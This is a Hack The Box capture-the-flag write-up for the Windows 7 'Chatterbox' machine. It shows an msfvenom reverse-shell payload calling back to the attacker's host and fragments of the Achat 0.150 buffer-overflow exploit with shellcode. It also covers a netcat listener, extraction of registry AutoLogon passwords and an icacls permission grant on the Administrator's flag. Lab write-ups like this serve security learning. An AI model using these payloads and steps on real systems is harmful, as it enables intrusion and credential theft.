Hack The Box — Chatterbox

---

1. Machine Information

- **Target IP:** 10.129.12.225
- **Machine Name:** Chatterbox
- **Difficulty:** Medium
- **Date:** March 2026
- **Attacker Machine:** Kali Linux

---

2. Attack Path

Nmap → Identify SMB + unknown service → Discover Achat service → Exploit buffer overflow → Reverse shell → Enumerate credentials → Use AutoLogon creds → Access Administrator files → Modify ACL → Read root flag

---

3. Tools Used

- nmap
- searchsploit
- msfvenom
- python2
- netcat
- icacls

---

4. Reconnaissance

Command

nmap -sC -sV -p- 10.129.12.225

Findings

- 135 → RPC
- 139 → NetBIOS

- 445 → SMB (Windows 7 SP1)
- Multiple RPC ports

Why It Matters

- Windows 7 system → likely vulnerable to legacy exploits
- No web service → need to focus on **non-standard services**

Screenshot 1 — Nmap Output

```
┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ sudo nmap --top-ports 2000 -sC -sV -sS -T4 -Pn -n -oX target1.xml 10.129.12.225
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 12:44 +0530
Stats: 0:01:32 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.50% done; ETC: 12:45 (0:00:00 remaining)
Nmap scan report for 10.129.12.225
Host is up (0.27s latency).
Not shown: 1991 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h19m00s, deviation: 2h18m37s, median: 4h58m58s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2026-03-22T12:14:25
|_  start_date: 2026-03-22T12:07:42
| smb2-security-mode:
|   2.1:
|_    Message signing enabled but not required
```

---

5. Enumeration

Step 1 — Identify Additional Service (Achat)

Action:

- Further analysis revealed service running on:

port 9256 → Achat

Why Important:

- Non-standard service → likely custom application
- Higher chance of known vulnerabilities

Step 2 — Search for Exploit

Command:

searchsploit achat

Result:

Achat 0.150 beta7 - Remote Buffer Overflow (36025.py)

Why Important:

- Direct RCE vulnerability available

Screenshot 2 — Exploit Found

```
┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ searchsploit Achat
---------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                       |  Path
---------------------------------------------------------------------------------------------------------------------
Achat 0.150 beta7 - Remote Buffer Overflow                                                                           | windows/remote/36025.py
Achat 0.150 beta7 - Remote Buffer Overflow (Metasploit)                                                              | windows/remote/36056.rb
MataChat - 'input.php' Multiple Cross-Site Scripting Vulnerabilities                                                 | php/webapps/32958.txt
Parachat 5.5 - Directory Traversal                                                                                   | php/webapps/24647.txt
---------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results

┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ searchsploit -m windows/remote/36025.py
  Exploit: Achat 0.150 beta7 - Remote Buffer Overflow
      URL: https://www.exploit-db.com/exploits/36025
     Path: /usr/share/exploitdb/exploits/windows/remote/36025.py
    Codes: CVE-2015-1578, CVE-2015-1577, OSVDB-118206, OSVDB-118104
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (637)
cp: overwrite '/home/abhay/Desktop/Chatterbox/36025.py'? y
Copied to: /home/abhay/Desktop/Chatterbox/36025.py
```

---

6. Exploitation

Step 3 — Buffer Overflow Exploit (Achat)

WHAT IT IS

- Remote buffer overflow vulnerability in Achat 0.150 beta7

WHY IT WORKS

- Improper input handling allows overwriting memory → code execution

---

Step 4 — Generate Payload

Command:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.237 LPORT=4444 -a x86 --platform Windows -e x86/unicode_mixed BufferRegister=EAX -b "\x00\x80\x81...\xff" -f python

Why Important:

- Payload required for exploit execution
- Encoder avoids bad characters

Screenshot 3 — Payload Generated

```
┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.237 LPORT=4444 -a x86 --platform Windows -e x86/unicode_mixed BufferRegister=EAX -b "\x00\x80\x81\x82\x83\x84
\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\x
ae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7
\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -f p
ython
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 774 (iteration=0)
x86/unicode_mixed chosen with final size 774
Payload size: 774 bytes
Final size of python file: 3822 bytes
buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51"
buf += b"\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68"
buf += b"\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31"
buf += b"\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51"
buf += b"\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31"
```

Activate Windows

Step 5 — Modify Exploit

Action:

- Insert payload into:

36025.py

- Set target IP:

10.129.12.225

Why Important:

- Required to align exploit with target and attacker

Screenshot 4 — Exploit Modified

```
buf += b"\x6b\x32\x79\x6d\x32\x46\x69\x37\x6d\x74\x4b\x74"
buf += b"\x4d\x6c\x7a\x61\x4d\x31\x62\x6d\x4d\x74\x6c\x64"
buf += b"\x4a\x70\x55\x76\x69\x70\x30\x44\x31\x44\x42\x30"
buf += b"\x6e\x76\x4f\x66\x50\x56\x4f\x56\x70\x56\x4e\x6e"
buf += b"\x62\x36\x52\x36\x4f\x63\x51\x46\x43\x38\x63\x49"
buf += b"\x76\x6c\x4d\x6f\x33\x56\x49\x6f\x67\x65\x31\x79"
buf += b"\x49\x50\x30\x4e\x62\x36\x6e\x66\x6b\x4f\x30\x30"
buf += b"\x6f\x78\x5a\x68\x53\x57\x4d\x4d\x51\x50\x6b\x4f"
buf += b"\x56\x75\x37\x4b\x5a\x50\x67\x45\x35\x52\x4e\x76"
buf += b"\x70\x68\x45\x56\x74\x55\x77\x4d\x33\x6d\x49\x6f"
buf += b"\x58\x55\x6d\x6c\x59\x76\x53\x4c\x49\x7a\x43\x50"
buf += b"\x79\x6b\x57\x70\x44\x35\x59\x75\x35\x6b\x50\x47"
buf += b"\x5a\x73\x54\x32\x32\x4f\x42\x4a\x39\x70\x42\x33"
buf += b"\x49\x6f\x4a\x35\x41\x41"


# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_address = ('10.129.12.225', 9256)

fs = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
p  = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
p += "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
p += "\x62" + "A"*45
p += "\x61\x40"
p += "\x2A\x46"
p += "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
```

Step 6 — Start Listener

nc -lvnp 4444

Step 7 — Execute Exploit

python2 36025.py

RESULT

- Reverse shell obtained:

chatterbox\alfred

Screenshot 5 — Shell Access

```
┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.129.12.225] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
chatterbox\alfred

C:\Windows\system32>
```

---

7. Shell Access

- User obtained:

alfred

---

8. Post-Exploitation

Step 8 — Credential Discovery

Action:

- Enumerate registry for stored credentials

Result:

Username: Alfred

Password: Welcome1!

Why Important:

- AutoLogon credentials → higher privilege access

Screenshot 6 — Credentials Found

```
[*] Checking for Autologon credentials in registry...


DefaultDomainName    :
DefaultUserName      : Alfred
DefaultPassword      : Welcome1!
AltDefaultDomainName :
AltDefaultUserName   :
AltDefaultPassword   :
```

---

9. Privilege Escalation

Enumeration

- AutoLogon credentials discovered
- Administrator files present but restricted

Vulnerability Found

- Misconfigured file permissions

WHY IT WORKS

- ACL allows modification by lower privilege user
- Enables privilege bypass

Exploit

Command:

icacls C:\Users\Administrator\Desktop\root.txt /grant Users:F

RESULT

- Root file accessible

Screenshot 7 — ACL Modified

```
┌──(abhay㉿Kali)-[~/Desktop/Chatterbox]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.129.12.239] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>ICACLS root.txt /grant "Users":F
ICACLS root.txt /grant "Users":F
processed file: root.txt
Successfully processed 1 files; Failed processing 0 files
```

---

10. Flags

type C:\Users\Alfred\Desktop\user.txt

type C:\Users\Administrator\Desktop\root.txt

Screenshot 8 — User Flag

```
C:\Users\Administrator\Desktop>type C:\Users\Alfred\Desktop\user.txt
type C:\Users\Alfred\Desktop\user.txt
```

Screenshot 9 — Root Flag

```
C:\Users\Administrator\Desktop>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
```

---

11. Skills / Takeaways

- Identifying non-standard services (Achat)
- Exploiting buffer overflow vulnerabilities
- Payload generation with msfvenom
- Reverse shell handling
- Registry credential extraction (AutoLogon)

- Privilege escalation via ACL misconfiguration